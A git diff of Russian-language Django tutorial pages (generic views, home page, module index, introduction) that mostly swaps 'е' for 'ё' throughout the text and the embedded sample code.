    Теперь, когда данные выводятся постранично, нам надо добавить функционал переключения между страницами в шаблона страницы. Поскольку мы хотели бы использовать данный механизм для всех списков на сайте, то мы пропишем его в базовом шаблоне сайта.

    -

    Откройте /locallibrary/catalog/templates/base_generic.html и, ниже блока content, вставьте блок (во фрагменте не выделен жирным), отвечающий за постраничный вывод. Данный код, в первую очередь, проверяет "включен" ли механизм постраничного вывода для данной страницы и если это так, то он добавляет ссылки next и previous,соответственно (а также, номер текущей страницы). 

    +

    Откройте /locallibrary/catalog/templates/base_generic.html и, ниже блока content, вставьте блок (во фрагменте не выделен жирным), отвечающий за постраничный вывод. Данный код, в первую очередь, проверяет "включён" ли механизм постраничного вывода для данной страницы и если это так, то он добавляет ссылки next и previous,соответственно (а также, номер текущей страницы). 

    {% block content %}{% endblock %}
 
@@ -564,7 +564,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
 
    Примечание:
    
 
 
      
- 
    • Когда вы создадите URL-преобразование для страницы списка авторов вам понадобится обновить ссылку All authors в базовом шаблоне. Следуйте тем же путем, который мы проделали когда обновляли ссылку All books.
      • 
+ 
    • Когда вы создадите URL-преобразование для страницы списка авторов вам понадобится обновить ссылку All authors в базовом шаблоне. Следуйте тем же путём, который мы проделали когда обновляли ссылку All books.
      • 
  
    • Когда вы создадите URL-преобразование для страницы с детальной информацией об авторе,  вы должны будете обновить шаблон детальной информации о книге (/locallibrary/catalog/templates/catalog/book_detail.html), таким образом, чтобы ссылка автора указывала на страницу с детальной информации о нем (а не быть пустой). Данная ссылка будет иметь вид как указано жирным во фрагменте ниже.
   
      <p><strong>Author:</strong> <a href="{% url 'author-detail' book.author.pk %}">\{{ book.author }}</a></p>
 
      
@@ -588,15 +588,15 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
 
 
      Поздравляем! Наш базовый функционал библиотеки готов! 
      
 
-
      В данной статье мы изучили как применять обобщенные классы отображения списка и детальной информации, и использовать их для создания страниц отображения наших книг и авторов. Кроме того, мы многое узнали о паттернах преобразования, построенных на основе регулярных выражений, а также то, как вы можете передавать данные из URL-адреса в ваше отображение. Мы изучили несколько приемов применения шаблонов. В самом конце мы показали как осуществлять постраничный вывод списков, так, что наши списки управляются даже тогда, когда они содержат много записей.
      
+
      В данной статье мы изучили как применять обобщённые классы отображения списка и детальной информации, и использовать их для создания страниц отображения наших книг и авторов. Кроме того, мы многое узнали о паттернах преобразования, построенных на основе регулярных выражений, а также то, как вы можете передавать данные из URL-адреса в ваше отображение. Мы изучили несколько приёмов применения шаблонов. В самом конце мы показали как осуществлять постраничный вывод списков, так, что наши списки управляются даже тогда, когда они содержат много записей.
      
 
-
      В нашей следующей статье мы расширим нашу библиотеку, путем поддержки пользовательских аккаунтов,  и так образом продемонстрируем аутентификацию, разграничение уровней доступа, сессии и  формы.
      
+
      В нашей следующей статье мы расширим нашу библиотеку, путём поддержки пользовательских аккаунтов,  и так образом продемонстрируем аутентификацию, разграничение уровней доступа, сессии и  формы.
      
 
 
      Дополнительная информация
      
 
 
        
- 
      • Встроенные обобщенные классы отображения (Django docs)
        • 
- 
      • Обобщенный вид отображения (Django docs)
        • 
+ 
      • Встроенные обобщённые классы отображения (Django docs)
        • 
+ 
      • Обобщённый вид отображения (Django docs)
        • 
  
      • Введение в отображения на основе классов (Django docs)
        • 
  
      • Встроенные теги шаблона и фильтры (Django docs).
        • 
  
      • Постраничный вывод (Pagination) (Django docs)
        • 
diff --git a/files/ru/learn/server-side/django/home_page/index.html b/files/ru/learn/server-side/django/home_page/index.html
index df43a891ae..c5b6f2bbea 100644
--- a/files/ru/learn/server-side/django/home_page/index.html
+++ b/files/ru/learn/server-side/django/home_page/index.html
@@ -17,7 +17,7 @@ translation_of: Learn/Server-side/Django/Home_page
 
 
        {{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}
        
 
-
        Теперь мы готовы создать код нашей первой страницы — домашняя страница сайта LocalLibrary будет показывать количество записей в каждой модели, кроме того, она будет выводить боковую навигационную панель с ссылками на другие страницы сайта. В результате мы приобретем практический навык написания простых URL-преобразований и отображений, получения записей из базы данных и применения шаблонов.
        
+
        Теперь мы готовы создать код нашей первой страницы — домашняя страница сайта LocalLibrary будет показывать количество записей в каждой модели, кроме того, она будет выводить боковую навигационную панель с ссылками на другие страницы сайта. В результате мы приобретём практический навык написания простых URL-преобразований и отображений, получения записей из базы данных и применения шаблонов.
        
 
 
@@ -36,17 +36,17 @@ translation_of: Learn/Server-side/Django/Home_page
 
 
        Теперь, когда мы определили наши модели и создали несколько записей в них, пришло время написать код, который будет показывать данную информацию пользователям. И первое, что нам необходимо сделать это определиться какую информацию мы бы хотели показывать на наших страницах,  а затем определить соответствующие URL-адреса для получения соответствующих ресурсов. Затем нам надо создать url-преобразования, отображения (функции, или классы), а затем шаблоны страницы. 
        
 
-
        Диаграмма, представленная ниже,  демонстрирует главный поток данных и элементов, которые нужно реализовать для управления HTTP запросами и ответами. Поскольку мы уже создали модель, то нам остается создать следующее:
        
+
        Диаграмма, представленная ниже,  демонстрирует главный поток данных и элементов, которые нужно реализовать для управления HTTP запросами и ответами. Поскольку мы уже создали модель, то нам остаётся создать следующее:
          
- 
        • URL-преобразования для перехода по соответствующему URL-адресу (с учетом информации, передаваемой в данном адресе) к соответствующей функции отображения.
          • 
+ 
        • URL-преобразования для перехода по соответствующему URL-адресу (с учётом информации, передаваемой в данном адресе) к соответствующей функции отображения.
          • 
  
        • Функции отображения для запроса соответствующих данных из моделей, создание страниц HTML для показа этих данных и их отправку в клиент пользователя (в браузер).
          • 
  
        • Шаблоны, которые используются отображениями для рендеринга (отрисовки) данных.
          • 
 
        
 
-
        Как вы увидите в следующем разделе, у нас будет 5 страниц, которые мы немного опишем в данной статье. Данная статья, большей частью, будет сконцентрирована на реализации всего-лишь одной, домашней страницы нашего сайта (к другим страницам мы перейдем в других частях руководства). Это должно дать вам хорошее базовое представление о работе с URL-преобразованиями (связывании), отображениями и моделями.
        
+
        Как вы увидите в следующем разделе, у нас будет 5 страниц, которые мы немного опишем в данной статье. Данная статья, большей частью, будет сконцентрирована на реализации всего-лишь одной, домашней страницы нашего сайта (к другим страницам мы перейдём в других частях руководства). Это должно дать вам хорошее базовое представление о работе с URL-преобразованиями (связывании), отображениями и моделями.
        Определяем URL-адреса страниц
        
 
@@ -58,13 +58,13 @@ translation_of: Learn/Server-side/Django/Home_page
  
      • catalog/ — Домашняя/индексная страница.
      • catalog/books/ — Список всех книг.
      • catalog/authors/ — Список всех авторов.
        • 
- 
      • catalog/book/<id> — Детальная информация для определенной книги со значением первичного ключа равного <id>. Например, /catalog/book/3, для id = 3.
        • 
- 
      • catalog/author/<id> — Детальная информация для определенного автора со значением первичного ключа равного <id>. Например, /catalog/author/11, для автора с id = 11.
        • 
+ 
      • catalog/book/<id> — Детальная информация для определённой книги со значением первичного ключа равного <id>. Например, /catalog/book/3, для id = 3.
        • 
+ 
      • catalog/author/<id> — Детальная информация для определённого автора со значением первичного ключа равного <id>. Например, /catalog/author/11, для автора с id = 11.
        • Первые три URL-адреса используются для показа домашней страницы, а также списков книг и авторов. Они не кодируют никакой дополнительной информации и результат показа данных страниц будет полностью зависеть от того, что находится в базе данных  и, по сути, будет все время одним и тем же (при неизменной базе данных, конечно).
        
 
-
        Последние два URL-адреса применяются для показа детальной информации об определенной книге, или авторе — в себе они содержат соответствующее значение идентификатора (показан как <id>, выше). URL-преобразование получает данную информацию и передает ее в отображение, которое применяет ее для запроса к базе данных. Для кодирования и применения данной информации в вашем URL-адресе нам понадобится только одно url-преобразование, соответствующее отображение и шаблон страницы для показа любой книги (или автора). 
        
+
        Последние два URL-адреса применяются для показа детальной информации об определённой книге, или авторе — в себе они содержат соответствующее значение идентификатора (показан как <id>, выше). URL-преобразование получает данную информацию и передаёт её в отображение, которое применяет её для запроса к базе данных. Для кодирования и применения данной информации в вашем URL-адресе нам понадобится только одно url-преобразование, соответствующее отображение и шаблон страницы для показа любой книги (или автора). 
        
 
        Примечание: Django позволяет вам конструировать ваши URL-адреса любым, удобным для вас, способом — вы можете закодировать информацию в теле URL-адреса, как показано выше, или использовать URL-адрес типа GET (например, /book/?id=6). Независимо от ваших предпочтений, URL-адреса должны быть понятными, логичными и читабельными (посмотрите совет W3C здесь).
        
@@ -84,13 +84,13 @@ translation_of: Learn/Server-side/Django/Home_page
 
 
        URL-преобразование
        
 
-
        Когда мы создавали скелет сайта мы обновили locallibrary/urls.py так что всякий раз, когда начинается URL-адрес наш catalog/ получен и URLConf catalog.urls подключен для обработки оставшейся части строки.
        
+
        Когда мы создавали скелет сайта мы обновили locallibrary/urls.py так что всякий раз, когда начинается URL-адрес наш catalog/ получен и URLConf catalog.urls подключён для обработки оставшейся части строки.
        
 
 
        urlpatterns += [
     path('catalog/', include('catalog.urls')),
 ]
        
 
-
        Примечание: всякий раз, когда Django сталкивается c  django.urls.include()  он отбрасывает часть совпавшего URL , и отправляет оставшуюся строку в включенный URLconf для дальнейшей обработки.
        
+
        Примечание: всякий раз, когда Django сталкивается c  django.urls.include()  он отбрасывает часть совпавшего URL , и отправляет оставшуюся строку в включённый URLconf для дальнейшей обработки.
        
 
 
        Внутри нашего каталога приложения откройте urls.py и поместите в него текст, отмеченный жирным, ниже. 
        
 
@@ -98,19 +98,19 @@ translation_of: Learn/Server-side/Django/Home_page
     path('', views.index, name='index'),
 ]
 
-
        Эта функция path() определяет URL-паттерн (в данном случае это пустая строка:'' - мы поговорим чуть более подробно о них далее в данном руководстве) и функцию отображения, которая будет вызвана, если введенный адрес будет соответствует данному паттерну (views.index — это функция с именем index() в views.py).
        
+
        Эта функция path() определяет URL-паттерн (в данном случае это пустая строка:'' - мы поговорим чуть более подробно о них далее в данном руководстве) и функцию отображения, которая будет вызвана, если введённый адрес будет соответствует данному паттерну (views.index — это функция с именем index() в views.py).
        
 
 
        Данная функция path(), кроме того, определяет параметр name, который уникально определяет это частное URL-преобразование. Вы можете использовать данное имя для "обратного" ("reverse") преобразования — то есть, для динамического создания URL-адреса, указывающего на ресурс, на которое указывает данное преобразование. Например, теперь, когда у нас имеется данное символическое имя, мы можем ссылаться на нашу домашнюю страницу при помощи создания следующей ссылки внутри какого-либо шаблона:
        
 
 
        <a href="{% url 'index' %}">Home</a>.
        
 
 
        
-
        Примечание: Мы могли бы, конечно, жестко указать прямую ссылку (то есть, <a href="/catalog/">Home</a>), но тогда, если мы изменим адрес нашей домашней страницы (например на /catalog/index), то данные ссылки перестанут корректно работать. Применение "обратного" url-преобразования более гибкий и эффективный подход!
        
+
        Примечание: Мы могли бы, конечно, жёстко указать прямую ссылку (то есть, <a href="/catalog/">Home</a>), но тогда, если мы изменим адрес нашей домашней страницы (например на /catalog/index), то данные ссылки перестанут корректно работать. Применение "обратного" url-преобразования более гибкий и эффективный подход!
        
 
        
 
 
        Отображения (на основе функций)
        
 
-
        Отображение является функцией, которая обрабатывает HTTP-запрос, получает данные из базы данных (при необходимости), которые применяются для генерации страницы HTML. Затем функция отображения возвращает сгенерированную страницу пользователю в виде HTTP-ответа. В нашем случае, индексная функция демонстрирует этот процесс — она получает информацию о количестве записей Book, BookInstance, доступности BookInstance, а также записи Author из базы данных, затем передает эти записи в шаблон страницы, генерирует страницу и передает ее пользователю (клиенту пользователя, например браузеру).
        
+
        Отображение является функцией, которая обрабатывает HTTP-запрос, получает данные из базы данных (при необходимости), которые применяются для генерации страницы HTML. Затем функция отображения возвращает сгенерированную страницу пользователю в виде HTTP-ответа. В нашем случае, индексная функция демонстрирует этот процесс — она получает информацию о количестве записей Book, BookInstance, доступности BookInstance, а также записи Author из базы данных, затем передаёт эти записи в шаблон страницы, генерирует страницу и передаёт её пользователю (клиенту пользователя, например браузеру).
        
 
 
        Откройте catalog/views.py и отметьте для себя, что данный файл уже импортирует функцию render() - функцию, которая генерирует HTML-файлы при помощи шаблонов страниц и соответствующих данных. 
        
 
@@ -132,7 +132,7 @@ def index(request):
     num_instances=BookInstance.objects.all().count()
     # Доступные книги (статус = 'a')
     num_instances_available=BookInstance.objects.filter(status__exact='a').count()
-    num_authors=Author.objects.count()  # Метод 'all()' применен по умолчанию.
+    num_authors=Author.objects.count()  # Метод 'all()' применён по умолчанию.
 
     # Отрисовка HTML-шаблона index.html с данными внутри
     # переменной контекста context
@@ -144,13 +144,13 @@ def index(request):
 
 
        Первая часть функции отображения получает количество записей при помощи вызова функции objects.all() у атрибута objects, доступного для всех классов моделей. Похожим образом мы получаем список объектов BookInstance, которые имеют статус 'a' (Доступно). Вы можете найти дополнительную информацию о работе с моделями в предыдущей части руководства (Руководство часть 3: Применение моделей > Поиск записей).
        
 
-
        В конце функции index вызывается функция  render(), которая, в качестве ответа, создает и возвращает страницу HTML  (эта функция "оборачивает" вызовы нескольких функций, тем самым существенно упрощая процесс разработки). В качестве параметров ей передаются объект request  (типа HttpRequest), шаблон HTML-страницы с метками (placeholders), которые будут замещены данными,  а также переменной context (словарь Python, который содержит данные, которые и будут замещать метки в шаблоне). 
        
+
        В конце функции index вызывается функция  render(), которая, в качестве ответа, создаёт и возвращает страницу HTML  (эта функция "оборачивает" вызовы нескольких функций, тем самым существенно упрощая процесс разработки). В качестве параметров ей передаются объект request  (типа HttpRequest), шаблон HTML-страницы с метками (placeholders), которые будут замещены данными,  а также переменной context (словарь Python, который содержит данные, которые и будут замещать метки в шаблоне). 
        
 
 
        В следующем разделе мы более подробно поговорим о шаблонах и переменной контекста. Давайте создадим наш шаблон, чтобы показать уже что-нибудь пользователю!
        
 
 
        Шаблон
        
 
-
        Шаблон это текстовый файл, который определяет структуру и расположение данных в файле, кроме того, в нем размещают специальные метки (placeholders), которые используются для показа реального содержимого, то есть данных. По умолчанию Django ищет файлы шаблонов в директории с именем 'templates' внутри вашего приложения. Например, внутри индексной функции отображения, которую мы только что создали, вызов render() будет пытаться найти файл /locallibrary/catalog/templates/index.html и в случае неудачи сгенерирует ошибку о том, что файл не найден. Вы можете увидеть данную ошибку, если вы сохраните предыдущие изменения, затем перейдете в браузер и наберете в адресной строке 127.0.0.1:8000. В результате, в окно браузера будет выведено сообщение об ошибке "TemplateDoesNotExist at /catalog/" и некоторая другая информация.
        
+
        Шаблон это текстовый файл, который определяет структуру и расположение данных в файле, кроме того, в нем размещают специальные метки (placeholders), которые используются для показа реального содержимого, то есть данных. По умолчанию Django ищет файлы шаблонов в директории с именем 'templates' внутри вашего приложения. Например, внутри индексной функции отображения, которую мы только что создали, вызов render() будет пытаться найти файл /locallibrary/catalog/templates/index.html и в случае неудачи сгенерирует ошибку о том, что файл не найден. Вы можете увидеть данную ошибку, если вы сохраните предыдущие изменения, затем перейдёте в браузер и наберёте в адресной строке 127.0.0.1:8000. В результате, в окно браузера будет выведено сообщение об ошибке "TemplateDoesNotExist at /catalog/" и некоторая другая информация.
        
 
 
        
 
        Примечание: На самом деле, в зависимости от настроек проекта, Django просматривает несколько мест в поисках шаблона (поиск в директории приложения осуществляется по умолчанию!). Вы можете найти больше информации о шаблонах и форматах, которые они поддерживают, перейдя по ссылке Шаблоны (Django docs).
        
@@ -278,7 +278,7 @@ def index(request):
 
        Примечание: Переменные шаблона заключаются в двойные фигурные скобки (\{{ num_books }}) , а тэги шаблона (функции шаблона), помещаются в одинарные фигурные скобки со знаками процента ({% extends "base_generic.html" %}).
        
 
        
 
-
        Важно отметить, что данные переменные имеют имена, соответствующие именам передаваемых ключей из словаря переменной context, которая, в свою очередь, передается из отображения, во время вызова функции render() (смотри ниже). При отрисовке шаблона, вместо этих ключей будут подставлены, соответствующие им, значения.  
        
+
        Важно отметить, что данные переменные имеют имена, соответствующие именам передаваемых ключей из словаря переменной context, которая, в свою очередь, передаётся из отображения, во время вызова функции render() (смотри ниже). При отрисовке шаблона, вместо этих ключей будут подставлены, соответствующие им, значения.  
        
 
 
        return render(
     request,
@@ -288,7 +288,7 @@ def index(request):
 
 
        Ссылка на статические файлы их шаблонов
        
 
-
        Любой ваш проект с большой вероятностью будет использовать статические ресурсы, включая JavaScript, CSS и изображения. В связи с тем, что расположение этих файлов может быть неизвестно (или может измениться), Django позволяет вам в шаблоне указать относительное расположение данных файлов при помощи глобального значения STATIC_URL (по умолчанию, значение параметра STATIC_URL установлено в '/static/',  но вы можете выбрать любое другое значение, указав, например, сетевой ресурс, или что-то еще).
        
+
        Любой ваш проект с большой вероятностью будет использовать статические ресурсы, включая JavaScript, CSS и изображения. В связи с тем, что расположение этих файлов может быть неизвестно (или может измениться), Django позволяет вам в шаблоне указать относительное расположение данных файлов при помощи глобального значения STATIC_URL (по умолчанию, значение параметра STATIC_URL установлено в '/static/',  но вы можете выбрать любое другое значение, указав, например, сетевой ресурс, или что-то ещё).
        
 
 
        Внутри шаблона вы  вызываете функцию (тэг) load, которая загружает статическую библиотеку "static" (как показано ниже). После того как статическая библиотека загружена, вы можете использовать тэг шаблона static, который указывает относительный путь URL к интересующему вас файлу.
        
 
@@ -303,7 +303,7 @@ def index(request):
 
        
 
 
        
-
        Примечание: Фрагменты выше указывают пути расположения файлов, но Django не использует их по умолчанию. В процессе разработки сервер использует значения, указанные в глобальном файле URL-преобразований (/locallibrary/locallibrary/urls.py), который мы создали в части создание скелета сайта. В дальнейшем, в продакшене, вам нужно будет уточнить параметры расположения статических файлов. Мы вернемся к этому позже.
        
+
        Примечание: Фрагменты выше указывают пути расположения файлов, но Django не использует их по умолчанию. В процессе разработки сервер использует значения, указанные в глобальном файле URL-преобразований (/locallibrary/locallibrary/urls.py), который мы создали в части создание скелета сайта. В дальнейшем, в продакшене, вам нужно будет уточнить параметры расположения статических файлов. Мы вернёмся к этому позже.
        
 
        
 
 
        Для получения более подробной информации о работе со статическими файлами  обратитесь к документации по ссылке Управление статическими файлами (Django docs).
        
@@ -315,7 +315,7 @@ def index(request):
 
        <li><a href="{% url 'index' %}">Home</a></li>
 
        
 
-
        Данный тэг с именем url(), ищет в файле urls.py связанное значение переменной, указанной в качестве ее параметра 'index', а затем возвращает URL, который вы можете использовать для ссылки на соответствующие ресурсы.
        
+
        Данный тэг с именем url(), ищет в файле urls.py связанное значение переменной, указанной в качестве её параметра 'index', а затем возвращает URL, который вы можете использовать для ссылки на соответствующие ресурсы.
        
 
 
        Как теперь все это выглядит?
        
 
@@ -333,7 +333,7 @@ def index(request):
 
 
          
  
        1. В главном файле шаблона (base_generic.html) есть блок title. Переопределите этот блок в индексном шаблоне (index.html) и задайте новый заголовок для этой страницы.
          2. 
- 
        2. Модифицируйте функцию отображения таким образом, чтобы получать из базы данных количество жанров и количество книг, которые содержат в своих заголовках какое-либо слово (без учета регистра), а затем передайте эти значения в шаблон.
          3. 
+ 
        3. Модифицируйте функцию отображения таким образом, чтобы получать из базы данных количество жанров и количество книг, которые содержат в своих заголовках какое-либо слово (без учёта регистра), а затем передайте эти значения в шаблон.
          4. 
 
        
 
 
          
@@ -341,9 +341,9 @@ def index(request):
 
 
          Итог
          
 
-
          Мы создали домашнюю страницу для нашего сайта — HTML страница, которая показывает количество некоторых записей из базы данных и содержит ссылки на другие "все-еще-будут-созданы" страницы. Кроме того, мы изучили большое количество базовой информации об url-преобразованиях, отображениях, запросах к базе данных, используя наши модели, передачу информации из отображений в шаблоны, кроме того, создание и расширение шаблонов.
          
+
          Мы создали домашнюю страницу для нашего сайта — HTML страница, которая показывает количество некоторых записей из базы данных и содержит ссылки на другие "все-ещё-будут-созданы" страницы. Кроме того, мы изучили большое количество базовой информации об url-преобразованиях, отображениях, запросах к базе данных, используя наши модели, передачу информации из отображений в шаблоны, кроме того, создание и расширение шаблонов.
          
 
-
          В  следующей части, при помощи наших новых знаний, мы  создадим еще четыре страницы.
          
+
          В  следующей части, при помощи наших новых знаний, мы  создадим ещё четыре страницы.
          
 
 
          Смотрите также
          
 
diff --git a/files/ru/learn/server-side/django/index.html b/files/ru/learn/server-side/django/index.html
index 8993390384..76beccc18d 100644
--- a/files/ru/learn/server-side/django/index.html
+++ b/files/ru/learn/server-side/django/index.html
@@ -27,7 +27,7 @@ translation_of: Learn/Server-side/Django
 
 
          
  
          Введение в Django
          
- 
          В этой первой статье по Django мы ответим на вопрос "Что такое Django?" и сделаем обзор того, что делает этот веб-фреймворк особенным. Мы кратко рассмотрим основные особенности, включая некоторый продвинутый функционал, на котором у нас не будет возможности подробно остановиться в этом модуле. Мы также покажем вам некоторые из основных строительных блоков приложения Django, чтобы дать вам представление о том, что он может сделать, прежде чем вы перейдете к установке и начнете экспериментировать.
          
+ 
          В этой первой статье по Django мы ответим на вопрос "Что такое Django?" и сделаем обзор того, что делает этот веб-фреймворк особенным. Мы кратко рассмотрим основные особенности, включая некоторый продвинутый функционал, на котором у нас не будет возможности подробно остановиться в этом модуле. Мы также покажем вам некоторые из основных строительных блоков приложения Django, чтобы дать вам представление о том, что он может сделать, прежде чем вы перейдёте к установке и начнёте экспериментировать.
          
  
          Установка среды разработки Django
          
  
          Теперь, когда вы знаете, что такое Django, мы покажем вам, как установить и протестировать среду разработки Django для Windows, Linux (Ubuntu) и Mac OS X — какую бы операционную систему вы не использовали, эта статья должна дать вам понимание того, что вам потребуется, чтобы начать разработку Django-приложений .
          
  
          Учебник Django: Веб-сайт местной библиотеки
          
@@ -41,19 +41,19 @@ translation_of: Learn/Server-side/Django
  
          Учебник Django часть 5: Создание главной страницы 
          
  
          Теперь мы готовы добавить код для отображения нашей первой полной страницы — главной страницы сайта местной библиотеки, которая показывает, сколько записей у нас есть для каждого типа модели, и предоставляет ссылки на боковых панелях на другие наши страницы. По пути мы получим практический опыт написания основных карт и представлений URL, получения записей из базы данных и использования шаблонов.
          
  
          Учебник Django часть 6: Общий список и подробные представления
          
- 
          Это руководство расширяет наш сайт местной библиотеки, добавляя список и подробные страницы для книг и авторов. Здесь мы узнаем об общих представлениях на основе классов и покажем, как они могут уменьшить количество кода, который вы должны писать для случаев общего использования. Мы также перейдем к обработке URL-адресов более подробно, покажем, как выполнить базовое сопоставление шаблонов.
          
+ 
          Это руководство расширяет наш сайт местной библиотеки, добавляя список и подробные страницы для книг и авторов. Здесь мы узнаем об общих представлениях на основе классов и покажем, как они могут уменьшить количество кода, который вы должны писать для случаев общего использования. Мы также перейдём к обработке URL-адресов более подробно, покажем, как выполнить базовое сопоставление шаблонов.
          
  
          Учебник Django часть 7:  Структура сессий
          
  
          Это руководство расширяет наш сайт местной библиотеки, добавляя счётчик посещений домашней страницы. Это относительно простой пример, но он показывает, как вы можете использовать структуру сессии, чтобы обеспечить постоянное поведение анонимных пользователей на ваших собственных сайтах.
          
  
          Учебник Django часть 8: Авторизация и права пользователей
          
- 
          В этом уроке мы покажем вам, как разрешить пользователям входить на ваш сайт со своими учетными записями и как управлять тем, что они могут делать и видеть на основе того, зарегистрированы ли они или нет, и их допусках. В рамках этой демонстрации мы расширим сайт местной библиотеки, добавив страницы входа и выхода, а также страницы пользователей и персональные страницы для просмотра книг, которые были взяты на руки.
          
+ 
          В этом уроке мы покажем вам, как разрешить пользователям входить на ваш сайт со своими учётными записями и как управлять тем, что они могут делать и видеть на основе того, зарегистрированы ли они или нет, и их допусках. В рамках этой демонстрации мы расширим сайт местной библиотеки, добавив страницы входа и выхода, а также страницы пользователей и персональные страницы для просмотра книг, которые были взяты на руки.
          
  
          Учебник Django часть 9: Работа с формами
          
  
          В этом уроке мы покажем вам, как работать с HTML Forms в Django, и  в частности, самый простой способ писать формы для создания, обновления и удаления экземпляров модели. В рамках этой демонстрации мы расширим сайт местной библиотеки, чтобы библиотекари могли вносить новые книги, создавать, обновлять и удалять авторов, используя наши собственные формы (а не использовать приложение администратора).
          
  
          Учебник Django часть10: Тестирование веб-приложения Django
          
- 
          По мере роста веб-сайтов становится сложнее проверять вручную — требуется больше проверок, поскольку взаимодействие между компонентами усложняется, небольшое изменение в одной области может потребовать дополнительные тесты для проверки его влияния на другие области. Один из способов смягчить эти проблемы - написать автоматизированные тесты, которые можно легко и надежно запускать каждый раз, когда вы вносите изменения. В этом руководстве показано, как автоматизировать модульное тестирование вашего сайта с помощью тестовой среды Django.
          
+ 
          По мере роста веб-сайтов становится сложнее проверять вручную — требуется больше проверок, поскольку взаимодействие между компонентами усложняется, небольшое изменение в одной области может потребовать дополнительные тесты для проверки его влияния на другие области. Один из способов смягчить эти проблемы - написать автоматизированные тесты, которые можно легко и надёжно запускать каждый раз, когда вы вносите изменения. В этом руководстве показано, как автоматизировать модульное тестирование вашего сайта с помощью тестовой среды Django.
          
  
          Учебник Django часть 11: Деплой Django на продакшн
          
- 
          Теперь вы создали (и протестировали) удивительный сайт местной библиотеки, вам захочется установить его на общедоступный веб-сервер, чтобы к нему мог получить доступ персонал библиотеки и пользователи Интернета. В этой статье представлен обзор того, как вы можете найти хост для развертывания вашего веб-сайта и что вам нужно сделать, чтобы подготовить ваш сайт к выпуску.
          
+ 
          Теперь вы создали (и протестировали) удивительный сайт местной библиотеки, вам захочется установить его на общедоступный веб-сервер, чтобы к нему мог получить доступ персонал библиотеки и пользователи Интернета. В этой статье представлен обзор того, как вы можете найти хост для развёртывания вашего веб-сайта и что вам нужно сделать, чтобы подготовить ваш сайт к выпуску.
          
  
          Безопасность веб-приложений Django
          
- 
          Защита пользовательских данных является неотъемлемой частью любой разработки сайта. Ранее мы объяснили некоторые из наиболее распространенных угроз безопасности в статье Web security — Эта статья дает практическую демонстрацию того, как встроенные средства защиты Django справляются с такими угрозами.
          
+ 
          Защита пользовательских данных является неотъемлемой частью любой разработки сайта. Ранее мы объяснили некоторые из наиболее распространённых угроз безопасности в статье Web security — Эта статья даёт практическую демонстрацию того, как встроенные средства защиты Django справляются с такими угрозами.
          
 
          
 
 
          Задания
          
diff --git a/files/ru/learn/server-side/django/introduction/index.html b/files/ru/learn/server-side/django/introduction/index.html
index 29f854b94c..5bb12b1323 100644
--- a/files/ru/learn/server-side/django/introduction/index.html
+++ b/files/ru/learn/server-side/django/introduction/index.html
@@ -78,9 +78,9 @@ original_slug: Learn/Server-side/Django/Введение
 
 
          Веб-фреймворки часто можно поделить на "гибкие" и "негибкие".
          
 
-
          Негибкие - это те, у которых есть "правильный путь" для решения какой-либо конкретной задачи. Они часто поддерживают быстрое развёртывание в определенной области (решение проблем определенного типа), потому что правильный способ сделать что-либо обычно хорошо понимается и хорошо документируется. Однако они могут быть менее гибкими при решении проблем за пределами их основной сферы и, как правило, предлагают меньше вариантов того, какие компоненты и подходы они могут использовать.
          
+
          Негибкие - это те, у которых есть "правильный путь" для решения какой-либо конкретной задачи. Они часто поддерживают быстрое развёртывание в определённой области (решение проблем определённого типа), потому что правильный способ сделать что-либо обычно хорошо понимается и хорошо документируется. Однако они могут быть менее гибкими при решении проблем за пределами их основной сферы и, как правило, предлагают меньше вариантов того, какие компоненты и подходы они могут использовать.
          
 
-
          Напротив, у гибких фреймворков гораздо меньше ограничений на лучший способ склеивания компонентов для достижения цели или даже того, какие компоненты следует использовать. Они облегчают разработчикам использование наиболее подходящих инструментов для выполнения конкретной задачи, хотя и за счет того, что вам нужно самим найти эти компоненты.
          
+
          Напротив, у гибких фреймворков гораздо меньше ограничений на лучший способ склеивания компонентов для достижения цели или даже того, какие компоненты следует использовать. Они облегчают разработчикам использование наиболее подходящих инструментов для выполнения конкретной задачи, хотя и за счёт того, что вам нужно самим найти эти компоненты.
          
 
 
          Django «умеренно гибкий» и, следовательно, обеспечивает «лучшее из обоих миров». Он предоставляет набор компонентов для обработки большинства задач веб-разработки и один (или два) предпочтительных способа их использования. Однако такая архитектура Django означает, что вы обычно можете выбирать из нескольких различных опций или при необходимости добавлять поддержку для совершенно новых.
          
 
@@ -192,7 +192,7 @@ class Team(models.Model):
 
 
          Модель Django предоставляет простой API запросов для поиска в базе данных. Поиск может осуществляться по нескольким полям одновременно, используя различные критерии (такие как exact («точный»), case-insensitive («без учёта регистра»), greater than («больше чем») и т. д.), и может поддерживать сложные выражения (например, вы можете указать поиск в командах U11, у которых есть имя команды, начинающееся с «Fr» или заканчивается на «al»).
          
 
-
          Фрагмент кода показывает функцию view (обработчик ресурсов) для отображения всех команд U09. Выделенная жирным строка показывает, как мы можем использовать модель API-запросов для того, чтобы отфильтровать все записи, где поле team_level в точности содержит текст 'U09' (обратите внимание, как эти критерии передаются функции filter() в качестве аргумента с именем поля и типом соответствия, разделённым двойным подчеркиванием: team_level__exact). 
          
+
          Фрагмент кода показывает функцию view (обработчик ресурсов) для отображения всех команд U09. Выделенная жирным строка показывает, как мы можем использовать модель API-запросов для того, чтобы отфильтровать все записи, где поле team_level в точности содержит текст 'U09' (обратите внимание, как эти критерии передаются функции filter() в качестве аргумента с именем поля и типом соответствия, разделённым двойным подчёркиванием: team_level__exact). 
          
 
 
          ## filename: views.py
 
@@ -243,7 +243,7 @@ def index(request):
 
 
            
  
          • Формы: HTML-формы используются для сбора пользовательских данных для обработки на сервере. Django упрощает создание, проверку и обработку формы.
            • 
- 
          • Аутентификация пользователя и разрешения: Django включает надежную систему аутентификации и авторизации пользователей, которая была построена с учетом безопасности.
            • 
+ 
          • Аутентификация пользователя и разрешения: Django включает надёжную систему аутентификации и авторизации пользователей, которая была построена с учётом безопасности.
            • 
  
          • Кэширование: Создание динамического контента намного более интенсивно (и медленнее), чем обслуживание статического содержимого. Django обеспечивает гибкое кэширование, чтобы вы могли хранить всю или часть отображаемой страницы, для того, чтобы она не вызывалась повторно, за исключением случаев, когда это необходимо.
            • 
  
          • Админ-панель: Административная панель в Django включена по умолчанию при создании приложения с использованием основного каркаса. Это упрощает управление админкой администраторам сайта для создания, редактирования и просмотра любых данных на вашем сайте.
            • 
  
